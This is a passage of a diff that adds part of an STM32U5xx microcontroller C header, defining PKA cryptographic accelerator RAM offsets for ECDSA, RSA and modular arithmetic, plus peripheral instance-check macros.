((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_POINT_CHECK_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_POINT_CHECK_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_POINT_CHECK_IN_MOD_GF ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_POINT_CHECK_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_POINT_CHECK_IN_INITIAL_POINT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_POINT_CHECK_IN_MONTGOMERY_PARAM ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ + +/* Point check output data */ +#define PKA_POINT_CHECK_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output error */ + +/* ECDSA signature input data */ +#define PKA_ECDSA_SIGN_IN_ORDER_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input order number of bits */ +#define PKA_ECDSA_SIGN_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECDSA_SIGN_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECDSA_SIGN_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECDSA_SIGN_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_ECDSA_SIGN_IN_MOD_GF ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECDSA_SIGN_IN_K ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input k value of the ECDSA */ +#define PKA_ECDSA_SIGN_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECDSA_SIGN_IN_INITIAL_POINT_Y ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECDSA_SIGN_IN_HASH_E ((0x0FE8UL - PKA_RAM_OFFSET)>>2) /*!< Input e, hash of the message */ +#define PKA_ECDSA_SIGN_IN_PRIVATE_KEY_D ((0x0F28UL - PKA_RAM_OFFSET)>>2) /*!< Input d, private key */ +#define PKA_ECDSA_SIGN_IN_ORDER_N ((0x0F88UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ + +/* ECDSA signature output data */ +#define PKA_ECDSA_SIGN_OUT_ERROR ((0x0FE0UL - PKA_RAM_OFFSET)>>2) /*!< Output error */ +#define PKA_ECDSA_SIGN_OUT_SIGNATURE_R ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Output signature r */ +#define PKA_ECDSA_SIGN_OUT_SIGNATURE_S ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Output signature s */ +#define PKA_ECDSA_SIGN_OUT_FINAL_POINT_X ((0x1400UL - PKA_RAM_OFFSET)>>2) /*!< Extended output result point X coordinate */ +#define PKA_ECDSA_SIGN_OUT_FINAL_POINT_Y ((0x1458UL - PKA_RAM_OFFSET)>>2) /*!< Extended output result point Y coordinate */ + +/* ECDSA verification input data */ +#define PKA_ECDSA_VERIF_IN_ORDER_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input order number of bits */ +#define PKA_ECDSA_VERIF_IN_MOD_NB_BITS ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECDSA_VERIF_IN_A_COEFF_SIGN ((0x0468UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECDSA_VERIF_IN_A_COEFF ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECDSA_VERIF_IN_MOD_GF ((0x04D0UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECDSA_VERIF_IN_INITIAL_POINT_X ((0x0678UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECDSA_VERIF_IN_INITIAL_POINT_Y ((0x06D0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECDSA_VERIF_IN_PUBLIC_KEY_POINT_X ((0x12F8UL - PKA_RAM_OFFSET)>>2) /*!< Input public key point X coordinate */ +#define PKA_ECDSA_VERIF_IN_PUBLIC_KEY_POINT_Y ((0x1350UL - PKA_RAM_OFFSET)>>2) /*!< Input public key point Y coordinate */ +#define PKA_ECDSA_VERIF_IN_SIGNATURE_R ((0x10E0UL - PKA_RAM_OFFSET)>>2) /*!< Input r, part of the signature */ +#define PKA_ECDSA_VERIF_IN_SIGNATURE_S ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input s, part of the signature */ +#define PKA_ECDSA_VERIF_IN_HASH_E ((0x13A8UL - PKA_RAM_OFFSET)>>2) /*!< Input e, hash of the message */ +#define PKA_ECDSA_VERIF_IN_ORDER_N ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ + +/* ECDSA verification output data */ +#define PKA_ECDSA_VERIF_OUT_RESULT ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* RSA CRT exponentiation input data */ +#define PKA_RSA_CRT_EXP_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operands number of bits */ +#define PKA_RSA_CRT_EXP_IN_DP_CRT ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input Dp CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_DQ_CRT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Input Dq CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_QINV_CRT ((0x0948UL - PKA_RAM_OFFSET)>>2) /*!< Input qInv CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_PRIME_P ((0x0B60UL - PKA_RAM_OFFSET)>>2) /*!< Input Prime p */ +#define PKA_RSA_CRT_EXP_IN_PRIME_Q ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input Prime q */ +#define PKA_RSA_CRT_EXP_IN_EXPONENT_BASE ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the exponentiation */ + +/* RSA CRT exponentiation output data */ +#define PKA_RSA_CRT_EXP_OUT_RESULT ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular reduction input data */ +#define PKA_MODULAR_REDUC_IN_OP_LENGTH ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input operand length */ +#define PKA_MODULAR_REDUC_IN_MOD_LENGTH ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus length */ +#define PKA_MODULAR_REDUC_IN_OPERAND ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand */ +#define PKA_MODULAR_REDUC_IN_MODULUS ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Modular reduction output data */ +#define PKA_MODULAR_REDUC_OUT_RESULT ((0xE78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic addition input data */ +#define PKA_ARITHMETIC_ADD_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_ADD_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_ADD_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic addition output data */ +#define PKA_ARITHMETIC_ADD_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic subtraction input data */ +#define PKA_ARITHMETIC_SUB_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_SUB_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_SUB_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic subtraction output data */ +#define PKA_ARITHMETIC_SUB_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic multiplication input data */ +#define PKA_ARITHMETIC_MUL_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_MUL_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_MUL_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic multiplication output data */ +#define PKA_ARITHMETIC_MUL_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Comparison input data */ +#define PKA_COMPARISON_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_COMPARISON_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_COMPARISON_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Comparison output data */ +#define PKA_COMPARISON_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular addition input data */ +#define PKA_MODULAR_ADD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_ADD_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_ADD_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MODULAR_ADD_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op3 (modulus) */ + +/* Modular addition output data */ +#define PKA_MODULAR_ADD_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular inversion input data */ +#define PKA_MODULAR_INV_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_INV_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_INV_IN_OP2_MOD ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 (modulus) */ + +/* Modular inversion output data */ +#define PKA_MODULAR_INV_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular subtraction input data */ +#define PKA_MODULAR_SUB_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_SUB_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_SUB_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MODULAR_SUB_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op3 */ + +/* Modular subtraction output data */ +#define PKA_MODULAR_SUB_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Montgomery multiplication input data */ +#define PKA_MONTGOMERY_MUL_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MONTGOMERY_MUL_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MONTGOMERY_MUL_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MONTGOMERY_MUL_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Montgomery multiplication output data */ +#define PKA_MONTGOMERY_MUL_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Generic Arithmetic input data */ +#define PKA_ARITHMETIC_ALL_OPS_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP3 ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Generic Arithmetic output data */ +#define PKA_ARITHMETIC_ALL_OPS_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result for arithmetic operations */ + +/* Compute ECC complete addition input data */ +#define PKA_ECC_COMPLETE_ADD_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_COMPLETE_ADD_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_COMPLETE_ADD_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve '|a|' coefficient */ +#define PKA_ECC_COMPLETE_ADD_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_X ((0x0628UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_Y ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_Z ((0x06D8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Z coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_X ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q X coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_Y ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_Z ((0x07E0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Z coordinate */ + +/* Compute ECC complete addition output data */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_X ((0x0D60UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_Y ((0x0DB8UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_Z ((0x0E10UL - PKA_RAM_OFFSET)>>2) /*!< Output result Z coordinate */ + +/* Compute ECC double base ladder input data */ +#define PKA_ECC_DOUBLE_LADDER_IN_PRIME_ORDER_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ +#define PKA_ECC_DOUBLE_LADDER_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_DOUBLE_LADDER_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve '|a|' coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_DOUBLE_LADDER_IN_K_INTEGER ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input 'k' integer coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_M_INTEGER ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input 'm' integer coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_X ((0x0628UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_Y ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_Z ((0x06D8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Z coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_X ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q X coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_Y ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Y coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_Z ((0x07E0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Z coordinate */ + +/* Compute ECC double base ladder output data */ +#define PKA_ECC_DOUBLE_LADDER_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate (affine coordinate) */ +#define PKA_ECC_DOUBLE_LADDER_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate (affine coordinate) */ +#define PKA_ECC_DOUBLE_LADDER_OUT_ERROR ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + +/* Compute ECC projective to affine conversion input data */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_X ((0x0D60UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P X coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_Y ((0x0DB8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P Y coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_Z ((0x0E10UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P Z coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MONTGOMERY_PARAM_R2 ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ + +/* Compute ECC projective to affine conversion output data */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result x affine coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result y affine coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + +/** @addtogroup STM32U5xx_Peripheral_Exported_macros + * @{ + */ + +/******************************* ADC Instances ********************************/ +#define IS_ADC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == ADC1_NS) || \ + ((INSTANCE) == ADC1_S) || \ + ((INSTANCE) == ADC2_NS) || \ + ((INSTANCE) == ADC2_S) || \ + ((INSTANCE) == ADC4_NS) || \ + ((INSTANCE) == ADC4_S)) + +#define IS_ADC_MULTIMODE_MASTER_INSTANCE(INSTANCE) (((INSTANCE) == ADC1_NS) || \ + ((INSTANCE) == ADC1_S)) + +#define IS_ADC_COMMON_INSTANCE(INSTANCE) (((INSTANCE) == ADC12_COMMON_NS) || \ + ((INSTANCE) == ADC12_COMMON_S) || \ + ((INSTANCE) == ADC4_COMMON_NS) || \ + ((INSTANCE) == ADC4_COMMON_S)) + +/******************************* AES Instances ********************************/ +#define IS_AES_ALL_INSTANCE(INSTANCE) (((INSTANCE) == AES_NS) || ((INSTANCE) == AES_S)) + +/******************************* PKA Instances ********************************/ +#define IS_PKA_ALL_INSTANCE(INSTANCE) (((INSTANCE) == PKA_NS) || ((INSTANCE) == PKA_S)) + +/******************************** FDCAN Instances *****************************/ +#define IS_FDCAN_ALL_INSTANCE(INSTANCE) (((INSTANCE) == FDCAN1_NS) || ((INSTANCE) == FDCAN1_S)) + +/******************************** COMP Instances ******************************/ +#define IS_COMP_ALL_INSTANCE(INSTANCE) (((INSTANCE) == COMP1_NS) || ((INSTANCE) == COMP1_S) || \ + ((INSTANCE) == COMP2_NS) || ((INSTANCE) == COMP2_S)) + +/******************** COMP Instances with window mode capability **************/ +#define IS_COMP_WINDOWMODE_INSTANCE(INSTANCE) (((INSTANCE) == COMP1_NS) || ((INSTANCE) == COMP1_S) || \ + ((INSTANCE) == COMP2_NS) || ((INSTANCE) == COMP2_S)) + +/******************************* CORDIC Instances *****************************/ +#define IS_CORDIC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == CORDIC_NS) || ((INSTANCE) == CORDIC_S)) + +/******************************* CRC Instances ********************************/ +#define IS_CRC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == CRC_NS) || ((INSTANCE) == CRC_S)) + +/******************************* DAC Instances ********************************/ +#define IS_DAC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DAC1_NS) || ((INSTANCE) == DAC1_S)) + +/******************************* DELAYBLOCK Instances *******************************/ +#define IS_DLYB_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DLYB_SDMMC1_NS) || \ + ((INSTANCE) == DLYB_SDMMC2_NS) || \ + ((INSTANCE) == DLYB_SDMMC1_S) || \ + ((INSTANCE) == DLYB_SDMMC2_S) || \ + ((INSTANCE) == DLYB_OCTOSPI1_NS) || \ + ((INSTANCE) == DLYB_OCTOSPI2_NS) || \ + ((INSTANCE) == DLYB_OCTOSPI1_S) || \ + ((INSTANCE) == DLYB_OCTOSPI2_S )) + +/******************************** DMA Instances *******************************/ +#define IS_DMA_ALL_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel0_NS) || ((INSTANCE) == GPDMA1_Channel0_S) || \ + ((INSTANCE) == GPDMA1_Channel1_NS) || ((INSTANCE) == GPDMA1_Channel1_S) || \ + ((INSTANCE) == GPDMA1_Channel2_NS) || ((INSTANCE) == GPDMA1_Channel2_S) || \ + ((INSTANCE) == GPDMA1_Channel3_NS) || ((INSTANCE) == GPDMA1_Channel3_S) || \ + ((INSTANCE) == GPDMA1_Channel4_NS) || ((INSTANCE) == GPDMA1_Channel4_S) || \ + ((INSTANCE) == GPDMA1_Channel5_NS) || ((INSTANCE) == GPDMA1_Channel5_S) || \ + ((INSTANCE) == GPDMA1_Channel6_NS) || ((INSTANCE) == GPDMA1_Channel6_S) || \ + ((INSTANCE) == GPDMA1_Channel7_NS) || ((INSTANCE) == GPDMA1_Channel7_S) || \ + ((INSTANCE) == GPDMA1_Channel8_NS) || ((INSTANCE) == GPDMA1_Channel8_S) || \ + ((INSTANCE) == GPDMA1_Channel9_NS) || ((INSTANCE) == GPDMA1_Channel9_S) || \ + ((INSTANCE) == GPDMA1_Channel10_NS) || ((INSTANCE) == GPDMA1_Channel10_S) || \ + ((INSTANCE) == GPDMA1_Channel11_NS) || ((INSTANCE) == GPDMA1_Channel11_S) || \ + ((INSTANCE) == GPDMA1_Channel12_NS) || ((INSTANCE) == GPDMA1_Channel12_S) || \ + ((INSTANCE) == GPDMA1_Channel13_NS) || ((INSTANCE) == GPDMA1_Channel13_S) || \ + ((INSTANCE) == GPDMA1_Channel14_NS) || ((INSTANCE) == GPDMA1_Channel14_S) || \ + ((INSTANCE) == GPDMA1_Channel15_NS) || ((INSTANCE) == GPDMA1_Channel15_S) || \ + ((INSTANCE) == LPDMA1_Channel0_NS) || ((INSTANCE) == LPDMA1_Channel0_S) || \ + ((INSTANCE) == LPDMA1_Channel1_NS) || ((INSTANCE) == LPDMA1_Channel1_S) || \ + ((INSTANCE) == LPDMA1_Channel2_NS) || ((INSTANCE) == LPDMA1_Channel2_S) || \ + ((INSTANCE) == LPDMA1_Channel3_NS) || ((INSTANCE) == LPDMA1_Channel3_S)) + +#define IS_GPDMA_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel0_NS) || ((INSTANCE) == GPDMA1_Channel0_S) || \ + ((INSTANCE) == GPDMA1_Channel1_NS) || ((INSTANCE) == GPDMA1_Channel1_S) || \ + ((INSTANCE) == GPDMA1_Channel2_NS) || ((INSTANCE) == GPDMA1_Channel2_S) || \ + ((INSTANCE) == GPDMA1_Channel3_NS) || ((INSTANCE) == GPDMA1_Channel3_S) || \ + ((INSTANCE) == GPDMA1_Channel4_NS) || ((INSTANCE) == GPDMA1_Channel4_S) || \ + ((INSTANCE) == GPDMA1_Channel5_NS) || ((INSTANCE) == GPDMA1_Channel5_S) || \ + ((INSTANCE) == GPDMA1_Channel6_NS) || ((INSTANCE) == GPDMA1_Channel6_S) || \ + ((INSTANCE) == GPDMA1_Channel7_NS) || ((INSTANCE) == GPDMA1_Channel7_S) || \ + ((INSTANCE) == GPDMA1_Channel8_NS) || ((INSTANCE) == GPDMA1_Channel8_S) || \ + ((INSTANCE) == GPDMA1_Channel9_NS) || ((INSTANCE) == GPDMA1_Channel9_S) || \ + ((INSTANCE) == GPDMA1_Channel10_NS) || ((INSTANCE) == GPDMA1_Channel10_S) || \ + ((INSTANCE) == GPDMA1_Channel11_NS) || ((INSTANCE) == GPDMA1_Channel11_S) || \ + ((INSTANCE) == GPDMA1_Channel12_NS) || ((INSTANCE) == GPDMA1_Channel12_S) || \ + ((INSTANCE) == GPDMA1_Channel13_NS) || ((INSTANCE) == GPDMA1_Channel13_S) || \ + ((INSTANCE) == GPDMA1_Channel14_NS) || ((INSTANCE) == GPDMA1_Channel14_S) || \ + ((INSTANCE) == GPDMA1_Channel15_NS) || ((INSTANCE) == GPDMA1_Channel15_S)) + +#define IS_LPDMA_INSTANCE(INSTANCE) (((INSTANCE) == LPDMA1_Channel0_NS) || ((INSTANCE) == LPDMA1_Channel0_S) || \ + ((INSTANCE) == LPDMA1_Channel1_NS) || ((INSTANCE) == LPDMA1_Channel1_S) || \ + ((INSTANCE) == LPDMA1_Channel2_NS) || ((INSTANCE) == LPDMA1_Channel2_S) || \ + ((INSTANCE) == LPDMA1_Channel3_NS) || ((INSTANCE) == LPDMA1_Channel3_S)) + +#define IS_DMA_2D_ADDRESSING_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel12_NS) || ((INSTANCE) == GPDMA1_Channel12_S) || \ + ((INSTANCE) == GPDMA1_Channel13_NS) || ((INSTANCE) == GPDMA1_Channel13_S) || \ + ((INSTANCE) == GPDMA1_Channel14_NS) || ((INSTANCE) == GPDMA1_Channel14_S) || \ + ((INSTANCE) == GPDMA1_Channel15_NS) || ((INSTANCE) == GPDMA1_Channel15_S)) + +/****************************** OTFDEC Instances ********************************/ +#define IS_OTFDEC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == OTFDEC1_NS) || ((INSTANCE) == OTFDEC1_S) || \ + ((INSTANCE) == OTFDEC2_NS) || ((INSTANCE) == OTFDEC2_S)) + +/****************************** RAMCFG Instances ********************************/ +#define IS_RAMCFG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM1_NS) || ((INSTANCE) == RAMCFG_SRAM1_S) || \ + ((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S) || \ + ((INSTANCE) == RAMCFG_SRAM3_NS) || ((INSTANCE) == RAMCFG_SRAM3_S) || \ + ((INSTANCE) == RAMCFG_SRAM4_NS) || ((INSTANCE) == RAMCFG_SRAM4_S) || \ + ((INSTANCE) == RAMCFG_SRAM5_NS) || ((INSTANCE) == RAMCFG_SRAM5_S) || \ + ((INSTANCE) == RAMCFG_BKPRAM_NS) || ((INSTANCE) == RAMCFG_BKPRAM_S)) + +/***************************** RAMCFG ECC Instances *****************************/ +#define IS_RAMCFG_ECC_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S) || \ + ((INSTANCE) == RAMCFG_SRAM3_NS) || ((INSTANCE) == RAMCFG_SRAM3_S) || \ + ((INSTANCE) == RAMCFG_BKPRAM_NS) || ((INSTANCE) == RAMCFG_BKPRAM_S)) + +/***************************** RAMCFG IT Instances ******************************/ +#define IS_RAMCFG_IT_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S) || \ + ((INSTANCE) == RAMCFG_SRAM3_NS) || ((INSTANCE) == RAMCFG_SRAM3_S) || \ + ((INSTANCE) == RAMCFG_BKPRAM_NS) || ((INSTANCE) == RAMCFG_BKPRAM_S)) + +/************************ RAMCFG Write Protection Instances *********************/ +#define IS_RAMCFG_WP_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S)) + +/******************************** FMAC Instances ******************************/ +#define 